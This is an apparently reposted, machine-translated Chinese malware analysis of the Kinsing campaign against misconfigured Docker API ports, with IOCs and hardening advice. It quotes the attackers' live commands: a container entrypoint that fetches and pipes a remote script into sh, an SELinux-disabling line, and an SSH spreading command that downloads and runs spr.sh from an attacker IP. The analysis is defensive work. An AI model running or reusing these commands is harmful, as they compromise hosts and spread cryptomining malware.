最近,我们已经看到针对容器环境的攻击数量有所增加。我们一直在追踪针对有误配置的开放Docker Daemon API端口的有组织的攻击活动。这项持续不断的运动已经进行了几个月,几乎每天都进行数千次尝试。这些是我们一段时间以来看到的最高数字,远远超过我们迄今为止目睹的数字。因此,我们认为,这些攻击是由行为者指挥的,这些行为者具有进行和维持此类攻击所需的足够资源和基础设施,这不是即兴的努力。
下图显示了每天的攻击量:
在这种攻击中,攻击者利用错误配置泊坞窗API端口运行具有一个Ubuntu容器kinsing恶意流氓软件,这反过来运行cryptominer,然后尝试将恶意软件传播到其他容器和主机。我们对这种攻击媒介的分析揭示了所使用的技术,从利用开放端口开始,通过规避战术和横向移动,一直到部署cryptominer的最终目标。
攻击是如何发起的
攻击者可以利用不受保护的开放Docker API端口,使用以下入口点实例化Ubuntu容器:
/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null |
|
我们在此活动的每次攻击中都看到了此入口点,唯一的变化 是从d.sh下载的IP地址 。我们目睹了总共使用了3个IP地址-上例中的一个217.12.221.244和185.92.74.42
该命令执行以下操作:
- 使用apt-get update更新软件包
- 用apt-get安装wget
- 启动cron服务。
- 使用刚刚安装的wget下载Shell脚本
- 运行shell脚本并无限期地从/ dev / null读取内容,以使容器保持活动和运行状态
我们可以看到需要wget程序才能下载cron shell脚本。稍后将使用该脚本以获取容器内的持久性。
防御规避和坚持
外壳程序脚本d.sh从此处称为“外壳程序脚本”,包含600多行。我们发现shell脚本执行以下操作:
- 禁用安全措施并清除日志:echo SELINUX = disabled> / etc / selinux / config
- 杀死大量应用程序,尤其是其他恶意软件和加密矿工。
- 删除与其他恶意软件/加密工具相关的文件,其中大多数从/ tmp目录
- 杀死正在运行的竞争对手恶意Docker容器并删除其映像。
- 下载“同类”恶意软件并运行它
- 每分钟使用crontab下载并运行shell脚本
- 查找在cron中运行的其他命令,如果已识别,则删除所有cron作业,包括其自己的作业。我们不确定为什么攻击者选择了这样做,但这就是脚本执行的内容:
crontab -l | sed'/update.sh/d'| crontab-
运行恶意软件
Kinsing是Linux代理,在我们将其提交进行分析后由Virus Total识别。从这里开始,我们将恶意软件称为亲属。
快速查看该恶意软件的字符串即可发现它是基于Golang的Linux代理。它使用了几个Go库,包括:
- go-resty – HTTP和REST客户端库,用于与命令和控制(C&C)服务器进行通信。
- gopsutil –流程实用程序库,用于系统和流程监控。
- osext –对标准“ os”软件包的扩展,用于执行二进制文件。
- diskv-磁盘支持的键值存储,用于存储。
在受控环境中运行恶意软件并对其进行监视,可以提供有关其恶意行为的更多详细信息。
与C&C服务器通信
在恶意软件继续部署其有效负载之前,它曾尝试与东欧的服务器进行通信。看来,恶意软件执行的每个功能都有专用的服务器:
- 尝试使用以下IP地址建立连接:45.10.88.102。尝试失败,因为服务器没有响应。
- 连接到91.215.169.111,它似乎是主要的C&C服务器。恶意软件通过HTTP端口80与该主机通信,并每隔几秒钟定期发送小的加密消息。
- 连接到217.12.221.244/spre.sh,我们假设它代表传播,我们将在下一段中看到,下载用于横向移动目的的shell脚本。
- 连接到193.33.87.219以下载cryptominer C&C通信。
发现与横向运动
恶意软件下载的spre.sh Shell脚本用于将恶意软件横向传播到整个容器网络。
为了发现潜在的目标和定位,它需要进行身份验证的信息,脚本被动地收集数据/.ssh/config,.bash_history的,/.ssh/known_hosts,和喜欢。我们没有发现用于识别其他目标的任何主动扫描技术。
然后,使用收集到的信息,恶意软件会尝试通过SSH使用每个可能的用户和密钥组合来连接到每个主机,以便下载上述shell脚本并在网络中的其他主机或容器上运行恶意软件。
这次,实际的shell脚本被命名为spr.sh ,但是它与 攻击序列中前面使用的d.sh shell脚本相同。
以下SSH命令用于将其传播到整个网络:
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "sudo curl -L http://217.12.221.244/spr.sh|sh; sudo wget -q -O - http://217.12.221.244/spr.sh|sh;"
在每20次SSH连接尝试后,我们注意到该脚本中有20秒钟的睡眠时间,并对其进行了清理,这可能表明攻击者具有某种逃避感觉,并试图隐藏其活动。
Spre.sh脚本
在攻击的最后阶段,恶意软件运行一个名为kdevtmpfsi的加密矿工。该加密矿工被Virus Total识别为比特币矿工。
cryptominer使用通过HTTP的登录请求连接到IP地址为193.33.87.219的主机,接收进一步的指令,并开始挖掘cryptocurrency。以下信息图说明了攻击的完整流程:
摘要
这种攻击是对云原生环境日益增长的威胁的又一个例子。随着部署规模的扩大和容器使用的增加,攻击者正在不断完善自己的游戏并发起更具野心的攻击。
这是攻击组件的摘要,将攻击的每个组件映射到相应的MITREAtt&ck 策略和技术类别:
我们认为,DevSecOps团队还必须增强自己的游戏能力,并意识到潜伏在云中的威胁,并制定安全策略来降低风险。以下是我们考虑采取的步骤:
- 识别所有云资源并按某种逻辑结构对其进行分组。
- 查看授权和认证策略,基本安全策略,并根据最小特权原则进行调整。
- 使用最小特权(例如避免使用root用户和特权模式)来扫描所使用的图像,确保您熟悉它们及其使用。使用Trivy开源漏洞扫描程序。
- 调查日志(主要是围绕用户操作)会查找您无法解决异常的操作。
- 形成一个可以轻松实施策略的安全策略,考虑使用可扩展您的范围并在您的云资源中扩展的云安全工具。
我们鼓励您禁止访问以下IOC的URL:
http://142.44.191.122/d.sh
http://142.44.191.122/kinsing/
http://142.44.191.122/al.sh
http://142.44.191.122/cron.sh
http://142.44.191.122 /
http://142.44.191.122/kinsing
http://142.44.191.122/ex.sh
http://185.92.74.42/w.sh
http://185.92.74.42/d.sh
http://217.12.221.244 /
http://217.12.221.24/d.sh
http://217.12.221.244/kinsing
http://217.12.221.244/j.sh
http://217.12.221.244/t.sh
http://217.12.221.244 /spr.sh
http://217.12.221.244/spre.sh
http://217.12.221.244/p.sh
http://217.12.221.244/Application.jar
http://217.12.221.244/f.sh
http: //www.traffclick.ru/
http://www.mechta-dachnika-tut.ru/
http://www.rus-wintrillions-com.ru/
http://rus-wintrillions-com.ru/
http://stroitelnye-jekologicheskie-materialy2016.ru
45.10.88.102
91.215.169.111
193.33.87.219 |
MD5s:
kinsing - 0d3b26a8c65cf25356399cc5936a7210
kinsing - 6bffa50350be7234071814181277ae79
kinsing - c4be7a3abc9f180d997dbb93937926ad
kdevtmpfsi - d9011709dd3da2649ed30bf2be52b99e
未经允许不得转载:x-sec » 针对Docker服务器的恶意软件Kinsing攻击预警